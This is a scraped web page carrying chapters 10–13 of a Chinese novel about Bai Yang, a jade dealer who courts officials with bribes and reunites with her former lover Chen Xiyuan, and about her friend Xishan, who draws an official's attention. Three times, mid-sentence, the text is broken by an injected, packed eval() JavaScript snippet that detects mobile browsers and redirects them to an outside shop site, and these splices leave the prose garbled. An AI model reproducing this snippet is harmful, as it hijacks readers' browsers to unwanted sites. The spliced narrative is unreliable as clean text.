白杨撕开皮,扒开肉,抽掉骨头,一遍遍地看。心脏不知疲倦地狂跳着,因某人的来到而兴奋高昂,这才是她真正的不安,是她想要彻底隐瞒的。 被蒙在鼓里的人,只有她自己。 真邪性,陈西原这个人真邪性!她怨恨地在心里骂出口,又发狠地抽了两口烟。 这件事忙活了这么多天,程砚顶着那么大的风险帮她办事,又是查苏幸又是查满汉楼的,都快给她干成刑侦了,一回头,发现正主是陈西原。 全白瞎。 白杨觉得陈西原真是个扫把星。 兜了这么大一个圈子,她还是得乖乖地把玉佛给高先生双手奉上,把这趟关系给吃硬了。 这几年整个澄州来说就没有比她发家还快的,刚开始接手玉石生意之后,一口气拿下了几个铺子,后来玩原石,抢占了不少货源。再到现在,德智体美劳各行各业全面开花,眼红她的人海了去了,出的招一个比一个阴损,要不是这一年来上头有人擎天护着,她估计也要被吃的连骨头渣都不剩。 那些人嫌她年轻,嫌她是个姑娘家,嫌她是外地人。还有嫌她学历高的。可怎么着,硬是让她混出来了。 这一切的来之不易她都清楚,她容不得任何不定因素的存在,摧毁她建立的高塔。 所以白杨从来都是铆足了劲往上爬,不敢有分毫懈怠,怕自己一旦停止,奔腾的浪就会掀翻她的船。 她把车窗打开散了散烟味,胡乱揉了揉精心打理好的头发,被她折腾两下,变得杂乱不堪。她也没在意,抽完烟继续开车前行。 回到家,溪山就打过来了电话,问她怎么想的。 白杨如实告诉她:“我查了高望津的司机,约到了那尊大佛。” 她声音一紧:“怎么样,送出去了吗?” “没。”白杨按了按眉心,“他是陈西原。” 电话那边的溪山也没想到:“是他!” “玉是送不出去了,改明儿还得往高先生那边跑,不过也好在是他,不至于砸我的锅。”白杨说道,讽笑一声:“谁知道他会来澄州,还和李善文那边的人搞上了。” 刚开始那几年,李善文也没把她放眼里,后来见她走的太快,他就暗中使了不少绊子,她输得最惨那一次就是他下的套,她知道自己人微言轻,没想着报复,转而在高家下功夫。 李善文和高望津有渊源,白杨上了高太太的牌桌,她又暗地里送了两次生意给他,加上高家横在中间,这才停息了战火,表面上安安分分的,他在上面人模狗样道貌岸然,她在下面不择手段贪墨无尽。 也算井水不犯河水,大面上都过得去。 她晓得这位李总是个什么德行,苏幸嘛,估计就是被他送过去的。 白杨心底没由来的烦躁,陈西原也他妈的不嫌腥。 “你打算怎么办?”溪山开口问,声音透着些寒意:“我以前就跟你说过,陈西原这个人,沾不得。” 不知道定律还是怎么样,溪山看陈西原不顺眼,她和他身边的杨珏时也不怎么对付。 “我没忘。”白杨说道,抬手给自己往杯子里倒了点酒,声音泄了气:“可是他到底没对不起我什么,是我自己要走的。” 溪山叹了口气,也不再劝:“你也不是六年前的小姑娘了白杨,我说再多没什么用,你自己心里要有数。” 电话挂断,白杨喝了口杯子里的酒,鲜红的液体滑进嗓子里,有些酸涩,是还没醒好。 她又抽了半支烟,烟蒂捻灭在烟灰缸里,不再去想他了,抬手给高太太打过去了电话。 “您要的那块玉,我找到了。” 白杨是第二天中午去的高家,高先生那时回家,两个人一起等着那块玉。 盒子打开的那瞬间,高太太脸上立马笑开了,拉着白杨的手说她可真帮了他们大忙了,问她有什么想要的满足她。高先生也左右看了看,点了点头:“就是这块。” 她趁两人高兴,赶忙提了一嘴:“您能用得上我就成,还要什么东西啊。就是溪山的实力在台里,做助理是有点屈才了……” 她点到为止,不再往下多言。 高太太立马意会,给了高先生一个眼神,转而对她说:“这好办,一句话的事。” 高先生点点头,眼神往下沉了两分,不知道是为玉还是其他:“你放心,这事我亲自去办。” 他说罢,就转身走向阳台,拿出手机打电话。 白杨只听见他的前两个字,喊的是二哥。 她知道是陈西原。 从他们在一块时别人就开始喊他二哥了,那会儿他也就二十五六,年纪很轻,她问他为什么叫他二哥,既然他是二哥那大哥是谁。 陈西原那时候笑了笑,说这么叫着叫着,就叫开了。叫他二哥的,也不知道大哥到底是谁。 电话打了一会儿就挂断了,高先生从阳台走出来,目光对向了白杨,对她说:“明晚抽出点时间,走个饭局。” 高太太问:“什么饭局?” 高先生拿食指敲了敲电话:“陈先生的局,他说对我们这儿的玉石比较感兴趣,让我找个行家。” 高太太点了点头,抓住白杨的手,面露喜色:“这个陈先生可不是一般人,有机会,就好好抓住。” 白杨点点头,换平常她都要放鞭炮庆祝了,可是这次不一样,这次的人是陈西原。 一般这种场合是轮不上她的,都是李善文跟着过去,这回是陈西原这么要求,为的是见她。那么高先生从给他打电话那刻起,他估计就把他们的关系猜的八/九不离十了。 玉佛从她手上拿走没两天,辗转就到了高先生那儿,只能是献上去的。 白杨拿捏不准他现在到底是什么心思,而且还与他掰不动手腕。 只能顺着点点头。 她在澄州六年,就算是混到头,顶天也就是个商人,还是个被冠上暴发户头衔的商人,陈西原不一样,家底在脚下踩着,让他永远高人一截。 白杨出了高家,嘴里塞进去一根烟。 饭局上总免不了喝酒,她就让江迎开车送她过去。 十月初的季节,澄州的温度还是不上不下的,没见一丝冷意。她穿了件白色绸面修身长裙,腰部做了褶皱,穿高跟鞋往前一走一过,很勾人。 这是个小局,外面传“二哥”喜欢清静,没什么不良嗜好,高先生就只带了白杨一个人过来,另还有两名玉石师傅,在隔壁待命。 陈西原推门进来时,先看了高先生一眼,而后目光才落到旁边坐着的白杨那里。 长发披在肩后,长裙披在身上。 很奇怪,那么昂贵的,满脸的脂粉罗黛堆在脸上,竟然都不如她那一双眼睛明亮。盈盈秋水,淡淡春山呐。 “这位就是那个拍走这块玉的老板?”他问道,点了点手指,示意两人坐下。 白杨也笑得滴水不漏,等高先生介绍完,坐下之后又起身,伸出一只手和人相握:“陈先生您好,我姓白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283154|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白杨,叫我小杨就行。” “白老板啊,幸会。” 陈西原也跟这儿装。 心里面暗暗想,他对她的称呼挺多的,白杨,杨杨,小白杨,白姑娘。 可是没叫过小杨和白老板。 她在他身边唱了三年大戏,都没有今天的这一出新鲜。 陈西原人到了,包房里开始传菜,高先生第一天饭局上特地留意了他的口味喜好,看哪样菜多动了两筷子,什么汤多喝了两口,今天也照着上面上。 一排青春靓丽的服务员姑娘袅袅娜娜地走进来,这阵势,不像是上菜,像是走秀来了。陈西原没给人留一个眼神,一直看着高先生那边,等他接下来的动作。 菜满了一桌,留下一个缺口,在高先生那里。 他一伸手,把那只盒子放在了上面,慢慢转到了陈西原面前。 陈西原意会,拿过来打开,就是老太太一直惦记着的那块弥勒佛。这块玉雕琢的痕迹不深,种水和肉质又是上乘,一百七十万拿下,挺赚的了。 也就是这块玉小,换成镯子,得要个五六百。 早前儿他就听说拿下这块玉的老板大气,一百二的起拍价,直接跨度叫价到一百七,后面不知道众人是没人反应过来还是怎样,总之让这块玉收入到了白老板的囊中。 “这么好的玉,还多谢白老板割爱了。”他轻轻勾了勾唇角,抬眼看向距离他不远处,明眸皓齿,涂红抹绿的白杨,眼中的意味不明,只有她懂。 她一如既往说着场面话:“哪里的话,陈先生喜欢,也是我的福气。” “白老板真这么想?”他没由来问了一句,惹得白杨的笑有些僵在脸上。 高先生也有些愣住了,目光悄无声息地挪向身边的她。 他又重复了一边:“白老板真觉得,我喜欢,是你的福气?” “那当然。”她迅速说道,不带一丝迟疑,以防高先生留心上这句话。 这顿饭吃的有点战战兢兢,白杨以前也应酬过不少,最初的时候一晚上干了半瓶白酒,胃疼的跟火烧一样,也没有今天疲累。 她的心被撕扯成两半,一半跳跃呼号,一半遮掩躲避。她得把这两半心都压下,心无旁骛地对他扯笑脸。 “高厅长和白老板这份心意我收下了。”他说,声音顿了顿:“我这儿也有两句话要跟高老板说的……” 到这里,陈西原的声音停了下来。 白杨知道,接下来的话就是她不方便听的了,于是借口去卫生间转身躲了出去。 陈西原也没什么好说的,只提点了两句,是看在玉的份上:“高厅长,你一路稳扎稳打走到今天这地步,在同一批人里面算是快的了。新疆,青海,北京,大地方小地方都去过,这才到了澄州。” 高先生点点头,唇角抿成一条线,眼神有些晦暗不明:“是,这一路走过来确实不那么轻松,见过的人不少,见过的事也不少。” 陈西原接着往下说:“澄州这地界多山,你也应该知道,山底和山顶都没什么,就是半山腰的雾多,多少人就是在这半山腰,被雾遮了眼,误入迷途的。” 高厅长捏着小小的白酒杯,脸色也有些发白,没有言语。 “能上半山腰的也都是聪明人,什么都看得太明白,算计得特别清楚。”他说道,“可是上山顶的,却都不怎么聪明,埋着头往前走,于是坡也没有了,雾也没有了。你说是不是?” 高厅长抬起头,捏着白酒杯的手松了劲儿,点头说明白了。 陈西原扬唇一笑:“高厅长能明白就好。毕竟现在,雾大,风也大。” 后半场白杨适时的推门进来,饭局重又恢复成和乐模样,桌上三个人,全都各存心思,各打算盘。上不了桌的人,也往这里死死盯着,容不得一点风吹草动。 11. 第 11 章 一趟饭局结束,白杨和高先生把陈西原送出了门,一个比一个笑得虚伪,白杨在这笑容里,有些莫名的羞耻和无地自容。 她清楚这层面具在他面前起不了任何作用,她的任何样子陈西原都见过,青涩的,稚嫩的,放荡的,荒唐的。曾在他的面前毫无保留的展示过。 等到陈西原上了车,高先生在楼前对她说:“白杨,这事你做的很不错,溪山那里我会上心的。” 白杨谦卑笑笑:“劳烦您。” 他又问起来:“你和魏溪山是很好的朋友吗,什么时候认识的?” “认识十多年了,我们是大学同学。”她说道。 高先生轻声嗯了一下,没接着往下问了。初次见那姑娘的时候,只以为二十四五的年纪,白杨也是,两人长得都年轻,实在看不出已经将近三十。 家里能出什么变故,才能让她放弃北京的大好前程,跑来澄州这地方?高望津想,这事要出手查查。 两人又说了没两句,就各自离散了,白杨送高先生上车,临走前忍不住觑了那个卖主的司机一眼,什么都没说,坐上车也走了。 上了车,江迎没忍住问她:“老板,司机都露了底了,苏幸那边我们也没什么破绽,怎么还是让高先生乘了这趟东风?” 白杨在饭桌上喝了两杯酒,现在头有点晕,靠在真皮座椅上揉着太阳穴,对她说:“没办法,人算不如天算啊。” “天算,天是怎么绊我们的脚的?” 她无奈笑了笑,没回答这个问题。转而问他:“司机那边都打点好了吗,不怕一万,就怕万一,别有一天把我给咬出来。” “都是手下人去办的,这个您放心。” 白杨舔了舔干涩的嘴唇,上面还留存着白酒的余韵,刺激的舌尖有些辛辣的痛感,像人咬在上头,一点一点地磨。 “那司机不老实,好赌。也用不着别人出手,就有自取灭亡的一天。”她笑笑,“赌徒哪有什么好下场,你手气再好,也斗不过庄家。” “老板,您这么清楚啊?” 白杨说:“我以前也赌过,输得挺惨的。” “那人真的能彻底戒赌吗?” “能是能,但是不容易。你没见那些在赌场里转过一圈的人,不是少根手指头就是少只手吗,这东西,想摆脱就得见点血。” 白杨浑浑噩噩地说着,倒下往头下面塞了个腰枕垫着,疲惫和困意一齐袭来,上下眼皮都开始打架。 江迎的车一直开得很稳,看后视镜老板倒下了,就把速度放得更低了一些。 他的速度一降下来,后面一辆车的速度提的更快了,他以为是想要超车,就把车靠边开了开,给人让开道。结果那辆车超过去之后迅速横停在他们车前面。 江迎无处躲闪,只能猛踩刹车,才避免撞上去。 刹车一踩,后座的白杨都被惯性冲了出去,脑袋狠狠撞向前面座位。瞬间困意全消,立马清醒了:“怎么回事?” “老板,有人别车!” 白杨从座位上坐好,那辆车也停住,里面的人从车上走了下来,是陈西原。 她没想到他这么大胆,敢直接把她的车给别停,看两个车的距离,再差一点,或者说江迎车技再不好一点,两辆车就要撞上去,她这车可不便宜。 陈西原吊儿郎当地走过来,伸手敲了敲她这边的车窗,等车窗降下来,开口问道:“你下来,还是我上去?” 别停的事都能做出来,他这是要不达目的不罢休啊。 白杨摆了摆手:“江迎,你先下去。” 江迎看了一眼窗外的男人,什么都没说,从车上走了下去。 陈西原坐进车里,夜色浓稠,缠绕在两人身上,把这狭窄空间的气息都挤压的稀薄无比。 白杨这么寂静的坐着,等他先开口。那两三秒的时长被撕扯的极其漫长,在黑夜里望不到尽头,只有额角的隐痛提醒着她,她在清醒着。 “白杨,这几年——过得好不好?” 这是他的第一个问题。 她气不打一处来:“你知不知道刚才差点出车祸,你这么做,就只为我问我这个?” 陈西原没有说话,执着着这个虚无又可笑的问题。 她不敌他的执拗,讽笑着说:“好,当然好。财源广进,官运亨通,您不是也看到了吗?” “你是一到澄州就这样的吗?”他一阵见血地挑明,没有多余一个字,“我问你这一路走的,比在我身边好吗?” 他说着话,伸出手,把她扯进了怀里抱着。 白杨大惊失色,慌忙挣脱,反而被箍的更紧。 她扑腾两下,不再动了。到底是在车上,人来人往,车如流水马游龙的,他做不了什么太出格的事。 “好。”她咬着牙,舌尖泛起微微的刺痛。 车里萦绕着淡淡的烟草味,还是黄鹤楼的牌子。这辆车平常都是江迎在开,司机不抽烟是基本要求,烟味是跟着陈西原进来的。 “是吗?”他的手往下探,撩起长长的裙摆,那片滑腻的触感,和玉一样。温凉,沉寂,莹润,只有真正了解的人才能看透她的价值,不至于使明珠蒙尘。 她的脸庞被夜色笼罩的有些暗淡,但他知道,一笔一划,都还是他熟悉的样子,远黛似的眉,高挺的鼻骨,桃花似的眼,眼尾上挑,曾经两分的风情已近极致。 “你在澄州发迹不过三年多,前两年干嘛去了,游山玩水?还是吃喝玩乐?总不能是结婚生子吧。”陈西原轻轻笑,声音像魔咒一样,困着她,让她找不到出口。 白杨一言不发,牙齿轻轻地磨着舌尖。 她一紧张时就会这样。不安地想着应对的招数,想着下一步的棋应该走在何处。 然而下一刻,陈西原做了一个让她死也想不到的动作,他把手拿上来,一只手拢她在怀,另一只手的食指直接抵在了她的唇边,不管不顾地长驱直入,这么撬开了她的嘴。 伸进去,压住她的舌头。 “别咬舌头,牙尖嘴利的,回头给磨伤了。” 口水全都浸染到了他的指尖。 白杨错愕地望着他,一狠心,咬了下去。 他还是面不改色,放佛觉察不到疼一样,等她咬够了,松口了,才慢慢撤出来。修长的手指上残存了一圈淡淡的牙印,连血痕都没有。 “陈西原,”她话出口前,给自己气笑了一声:“你有病啊?” 她伸手胡乱胡了两把头发,又左右摸摸,开始找烟,慌乱地掩饰自己的不知所措。 白杨却忘了,此刻还坐在陈西原怀里。这么动荡,会惹得人心里不安分。 “挺健康的,没病。”他认真作答。 陈西原托举着她,翘上了二郎腿,她也跟着滑进了他更深处,肌肤紧贴着肌肤,剩一片布料相隔。 车里蒙昧不清,一片昏暗。只有沿路洒下来的灯光,也许还有月光。 白杨觉得有什么在锲而不舍的鼓动,分不清是谁的心脏。她脑中的弦有一刻的松懈,差一点要溺死在这片海里。随后警铃大作,更加严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283155|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防死守,车里的光多了一道,她泛着凛凛寒意的目光,白杨死命抓住他的领口问:“你结婚了没有?” “你不在,我结哪门子婚?”他无奈地笑笑,语气荣宠过甚。 她还不依不饶,像个审讯犯人的法官:“我说真的,你他妈要结婚了就滚下去,我可不是你的什么二奶小三!” 他放下心了。不为别的,无论岁月如何更改,即便周身血肉剔尽,世俗为她重塑金身。她还是那个白杨,一生气,立马凶相毕露。 “我说真的。”陈西原又说一遍,“那现在是不是能为所欲为了?” 白杨没来得及说话,他就垂下了头,对着她的脖颈,沉沉吻了下去。 连他自己都是意想不到的思念。思念她的这幅躯壳。思念她柔密的黑发,思念她颈间淡淡的馨香,思念她伶牙俐齿,步步紧逼。 这个吻太长了,吻到他的舌尖和她的血液一同流动,吻到她浑身震颤,软倒在他怀里。几乎落泪。 他的唇离开,白杨还伏在他的肩头,长吁短叹地喘着气。 她的心狂跳地厉害,鼻子发酸发胀,意识到,自己真是没出息,这辈子都得在他身上栽这个大跟头了。 她慢慢地,慢慢地从他身上离开,重新坐回真皮座椅上,手肘撑在膝盖上,脸盖在手心。 “你走吧。”她的声音微涩,往外泛着沙哑,仿佛已经束手无策。 “我只想告诉你,杨杨。”陈西原从口袋里掏出一根烟咬进嘴里,又拿出打火机,火苗“蹭”的一下升起来,点燃了他口中的烟:“我们只是不在一起了,我们不是仇人。” 他说罢,开门下了车。开走了那辆横亘在她面前阻断她的路的庞然大物。 江迎见他出来,自己就上了车,他往后瞥了一眼,识趣地没有多说多问,兀自开着车朝老板家去。 白杨有一种犯了天条的懊悔。她知道,一旦开了这个口子,往后要是洪水来了挡也挡不住。 六年了,还这么没定力,一点长进也没有。 她费尽心机,绞尽脑汁,一砖一瓦筑起的城墙壁垒,再见到他的那一刻,轰然倒塌,不留余地。 世间万物皆是相生相克,金克木,木克土,螳螂捕蝉,黄雀在后,如果人也有克星,如果她也有克星,那么她的克星不会是其他人,只能是陈西原,只能是他。 她的命格和七寸,都只写着他的名字。 那相生呢,他们会是相生的吗? 白杨的思绪被这一吻错乱,她混沌地想,自己就像是神话里的西西弗,推着比自己生命好在沉重几倍的巨石上山,终于登上山顶,一转头,兜兜转转,还是回到了原点。 人的生命里都有一个对自己而言特殊的存在,陈西原就是她的那个人。 那个人或许已经很久不见,或许分道扬镳,或许反目成仇,可他就像一颗刺,牢牢的钉在你心里,疼痛过后,就被新长出来的血肉包裹,时间久远到让其麻木,再没什么感觉。 可是当你想要把它取出来,就会发现,取走之后,那里会空掉一块。他已与你融为一体。 白杨就是在今夜才发现的,她除了坦然接受,别无他法。 陈西原于她而言,不仅仅是一个简单的爱人,情人,他是她思想的一部分,是她的一块脊骨,一只脏腑,是她难以割席,与之共生的血肉。 她走到如今这一步,难说没有他的指引和教导。 白杨躺在床上呼出一口浊气,酒意退散,忍不住在心底骂爹喊娘,这一夜,可真是够荒唐的。 12. 第 12 章 高望津委托出去的没两天,那边就给了答复,魏溪山的背景并不难查。 父亲还没被判刑呢就死在看守所了,最后留下个没成型的黑点子走的,剩下魏溪山她们母女相依为命。 在北京混的人不比澄州多清新脱俗,都是个顶个的人精,煽风点火,见风使舵的一把好手,出了这事,溪山该是在北京待不下去,于是来了这里。 他看着手里的资料,拇指掌心在她的那张照片上逡巡摩挲。小姑娘生了一张俏脸儿,眉毛浓黑,鼻子挺翘,是很英气的长相,嘴角又略微有些下沉。 像什么?苦情,无辜。 或许都好。 高望津把照片轻轻撕下,带着两分刻意的爱怜。他觉得事情有些不受控制了,但他并不排斥,甚至有些享受这种……越轨的感觉。 指腹在照片上又抚摸了两下,最后夹进一本书册里,剩下的资料,被他放进了碎纸机。 看着那些刻有她过往的纸张被这么清扫,高望津抬手,打过去一个电话。 蔡台长接到这个电话有些惊惶,尤其是最后一句,叫上上次那个小姑娘。他走出办公室,抬眼一看,那个叫溪山的姑娘又在忙前忙后的帮人递东西端茶倒水了。 上次的他的话蔡冕也没怎么放在心上,以为只是随口一提,可是这么多天过去了,这小丫头怎么还能晃荡到高先生面前? 他想了想,也顾不得什么,让人把溪山叫了进来。 “溪山是吧?”蔡冕坐在老板椅上抬起头,打量了一眼这个站在她面前,穿着白色雪纺衬衫,咖色西裤和小羊皮鞋的姑娘,北方来的女孩,个子要高些,眉目舒朗,确实漂亮。 溪山点了点头,问他:“您找我来什么事?” “会打高尔夫吗?”蔡冕问道。 “会一点。”她说。 他点点头:“那就好,周末你陪我跟人去一趟球场,打打高尔夫,还有,你现在是在做助理是吧,以前在北京做什么的?” “做主持人。”溪山有些不明所以地回答,但预感他问她这个问题并不是什么坏事。 蔡冕点点头,没再说话了。他得想想,好给她捧上去。 澄州就是有这点不好,太多山,所以高尔夫球场的面积普遍都不是很大。 溪山那天穿了件运动装,白色的上衣,下身也是白色短裤,堪堪遮到大腿的部分。这样整条修长的腿便展露无遗了。她皮肤不算特别白,是那种白里往外透着红的,很有肉感。 高先生到的时候,见到带着遮阳帽扎马尾的溪山,也都忍不住愣了一下。她不像二十八岁,更像是十八岁,太年轻了。 “高先生。”蔡冕恭敬叫他一声。魏溪山也紧随其后,喊了一声高先生,笑起来,唇角有两个小小的梨涡。 “溪山,白杨不来我家你也不来了,小安还特别喜欢你呢,跟我念叨着溪山姐姐什么时候再来陪他做手工。”高望津也笑了,语气熟稔,像是认识挺久的老友。 蔡冕察言观色,没想到两人的关系是这么熟悉,也没见这小丫头透露个一星半点?藏的是挺深。 “这不是工作有些忙,等回头我和白杨在一起去看小安和高太太。” “只看他们俩?” 她仰脸笑笑:“您现在不就在我跟前儿吗?” 高望津看着那笑,好像有倾倒众生的魔力。他年过四十,很该不再有这样的心思了。可是那颗古朴的,摇摆多年最后岿然不动的柱石,在风雨里,好像慢慢爬上了青苔。 中国人谈生意,从来不是一张桌子面对面,辩论一样谈成的,有一半是在酒桌饭局上,另一半是在网球场,高尔夫球场上。 高望津把蔡冕约到这里来,也是为了谈事情来的。却不是什么大事。 “那个节目策划的怎么样了,有着落吗?” 他问出口,抬手挥了一杆。 “交给策划部去办了,估计这两天能出结果。”蔡冕说。 高望津点了点头,电视台的事不是他的专项,也不多插手,至多是提点两句。 “也别弄得那么死板,澄州年轻人多,不要搞老古板那一套,网红就不要了,那些明星啊,适当请两个,肚子里得有点墨水。” “您说的是,等策划案定了我给您过目一眼,您到时候再看看有什么指示。” 他点点头:“选人上还是得慎重,以前的叫戏子,现在摇身一变成明星,下三滥都开始上桌了,人人追着捧着,出去国门,中国话都说不顺溜。现在的年轻人啊,跟我们那时候是不一样了。” “谁说不是呢。”蔡冕说到这里笑了起来,前段时间有个女演员上我们台的节目,主持人提起来谢道韫,她张口就问这个谢道韫演过什么角色,你说可不可笑?” 高望津笑了两声:“这个圈子,素质有待提高啊。人赚再多的钱,还是得多看看书——溪山平常都看什么书?” 溪山被提到,顿了一下开口:“以前喜欢看徐志摩,戴望舒的诗,现在就看点名著还有唐诗宋词什么的。” “四大名著都看什么了?” 溪山说:“读过《三国》和《红楼》。” 高望津又挥了一杆,抬起头看,进洞了。他心情大好,把球杆丢给了球童,走在她身边:“那有什么见解吗?” “见解谈不上。”溪山不好意思地笑两声,接着说:“只能说,时势造英雄吧。但《三国》里面我最佩服的不是刘备和曹操,我最佩服司马懿,人得多没道德感才能活成他那样子啊,反正我是不成了。” 他大笑了两声,觉得这小丫头是在变着法儿的夸自己有道德,这一笑,把溪山笑红了脸。 “您笑什么?”她开口不安地问。 他敛了笑,又问:“没什么,那《红楼梦》呢,《红楼梦》看出什么来了?” 溪山抿了抿嘴,思索完,轻笑着说道:“看出来——人没办法和命斗。您看,贾元春的判词里就写了,喜荣华正好,恨无常又到。” 高望津点点头,这话倒是真的。但怎么听着,这姑娘都像在说她自个儿呢。人生最得势的两年,偏偏家里在这时候除了变故,换谁谁能轻易接受? 他伸出手,拍了拍她的肩膀,接下这句诗:“眼睁睁把万事全抛,荡悠悠把芳魂消耗。溪山,今时不同往日了,咱可不跟红楼里的人一样,可要护好这缕芳魂。” 溪山点了点头,应下了。 日头渐渐升了起来,他们就没再在球场里耗着,这家俱乐部楼上就是射击俱乐部,高望津问她玩过没有,她摇摇头,说没有。 于是高望津就带她走了上去。 蔡冕说听不得枪声,留在了楼下。 工作人员给他们配好枪,帮着戴好护目镜,还有教练指导姿势。 高先生让她先学一会,自己就在旁边打了几发,有人过来报靶数,竟然中了好几个靶心。 这边教练指导好溪山,轮到她自己上手,望着跟自己距离二十米上下的靶子,扣下了扳机,声音把她也吓了一跳,猛地往后撤了一步,两只脚绊在一起,往后就要跌坐下去。 预料的痛感没有传来,高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283156|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望津先一步扶住了她。他的手握住了她的腰间,被轻薄透气的布料虚虚包裹住的一层,布料之下,是她年轻灵动的身体。 他把她扶起,迅速移开了手,脸上的神情没有丝毫变化,反倒坦然地指导起了她:“第一次都这样,慢慢来就好。” 工作人员在那边报靶数,空靶,溪山把子弹打到了别的靶子上。 听到这个结果,溪山略带歉意地笑笑,说道:“辜负您的好意了,我在这方面可能没什么天赋。” “没事,我刚开始打的还不如你呢,扳机都扣不动。不过我那时候啊,玩的是真枪。” 高先生和她走到一边休息,说起自己的往事。 他年轻时是军人出身,那时候没有几个人能扛大炮,他就是其中一个,后来受了伤,被调到文工团,也是做的有声有色的,后来出了部队,一步步就走到了现在的位置。 “您还当过军人啊?” “看不出来吧,好久不在部队练了,懈怠了。”高望津笑了笑,“别看现在都说是你们年轻人的时代,我们这些老干部也是年轻过。” 人到中年都逃不过发福这一关,可他却并不胖,反而有些精干的气质在身上。谈生意都少不了要喝酒应酬,仕途一路走来,更是在所难免,他到现在这个位置,连啤酒肚都没有,更没有中年人常见的脱发问题,穿起西装来还是笔挺的。 确实是挺难得。 魏溪山和高望津说了挺长时间的话,对他的印象开始有些改观,原以为只是个有些严肃古板的领导,现在看看,挺和善,还挺风趣。 她把护目镜摘下来,笑呵呵对他说:“高厅长,您可不老,我也不是年轻人了。” “你可别这么说。”高望津推了推鼻梁上的眼镜,笑起来:“记得第一次见你,是在澄州台的大楼里,还以为是新招的小姑娘呢,没成想是大名鼎鼎的主持人魏溪山。” 她也笑着叹了口气,故作豪放地开口:“好汉不提当年勇,现在在别人的山门,可不就是个小助理吗?” 高望津转头接过一边的工作人员手里递来的毛巾,擦了擦额角的汗水,转头看向她。 溪山坐在深蓝色的沙发上,整个人陷进沙发里,唯剩两条长腿在外交叠游荡,像两只精灵扑腾着它的翅膀,灵动,飘忽,引诱。 他的神色暗了暗,抬起头的时候,发现溪山额前的碎发被空调的冷风吹向了一边,遮住了点眉眼。他像是被什么迷惑了一样,伸出手,替她把碎发拨到了一边,别到耳后。 溪山怔住了,眼中闪过一丝错愕和差异,但也仅仅只是一瞬,在看到他无怒无嗔的脸色后也很快恢复了平静,平和地到了一声谢,装作无事发生。 他太过坦荡,容不得她的思想肆无忌惮去不堪处流浪。也容不得她怯场。 高望津收回手,带着那种长者告慰的语气对她说:“没事,女孩子,还是把额头露出来更好看。” 溪山随手胡了一把头发,说道:“现在的女孩子都要留刘海的,您不知道吧,这样可以显得脸很小。” 他听到这番论断,忍不住笑了:“溪山,有的女孩儿是为了藏瑕,有的女孩没什么瑕疵,自然用不着遮掩。白老板最开始是跟玉打交道的,她那行当的规矩,看玉要看全。” “我又不是玉。” “人不可同类而语,虽说现在这社会不分什么三六九等,可在人心里,还是有鱼目和明珠之分。”他沉声说,抬起手腕看了看表,时间也差不多了,就顺手拍了拍她的肩膀,站起身:“走吧溪山,请你去吃饭。” 13. 第 13 章 陈西原这两天都没怎么再叫苏幸出来吃饭。她一开始还在抻着,想着他有什么事,于是也没联系。然而好几天了,她也抻不住了,主动给他打去了电话。 她的忐忑不到几秒,那边很快接起。 “苏小姐?”他的声音有些懒懒的,带着些沙哑,像是刚睡醒:“有什么事吗?” 她尽量把声音放缓放轻,不至于显得过于做作,惹人厌烦,但又带点娇嗔:“你最近怎么都没找我啊?” 陈西原啧了一声,转手翻了个身,电话晃动一阵,重新接上他的声音:“最近忙点。” “还是那块玉吗,高厅长不是给你找到了?” “玉是找到了。”陈西原说,“忙点别的事。” 苏幸问他:“还有什么事?” 他轻笑了一声,对她说道:“忙着追姑娘呢。” 那边的姑娘显然愣住了,一时说不出话来。 陈西原揉了揉眉心,接着问她:“白杨白老板,知道吗?你不熟也没事,你上面那人肯定清楚。” 电话挂断,苏幸脑子还在懵着。 办公室里间敲了敲门,她回头看过去,李善文就站在门前看着她:“苏幸,陈先生那边怎么说?” “李总,他……”苏幸咽了咽嗓子里的涩感,继而说:“他在追人,那个人是白老板。” “白杨?”李文善的眉毛紧锁了起来,往垃圾桶里啐了一口,“这小娘们怎么和陈先生搞在一起的!你不是说他对你挺感兴趣的吗……” 苏幸缩了缩,声音有些怯懦,一点点回忆着先前的事:“我也不知道啊,前几天都挺好的,就从那次在春山茶楼以后,是高先生的人打给我的,说是要约着他见面。” 李善文立马警觉了起来,抓起手边的一个烟灰缸就朝着墙上砸了过去,骂道:“蠢货!你也不好好想想,高厅长找陈先生用得着给你打电话?高厅长哪来的你电话?肯定是白杨这个臭婊子从中做的梗,没想到啊小丫头,以前在我跟前装什么清高,勾引人还真有一手!” “那,那我们现在怎么办?”苏幸顿了顿,“要不要告诉高厅长,姓白的在他背后搞小动作?” 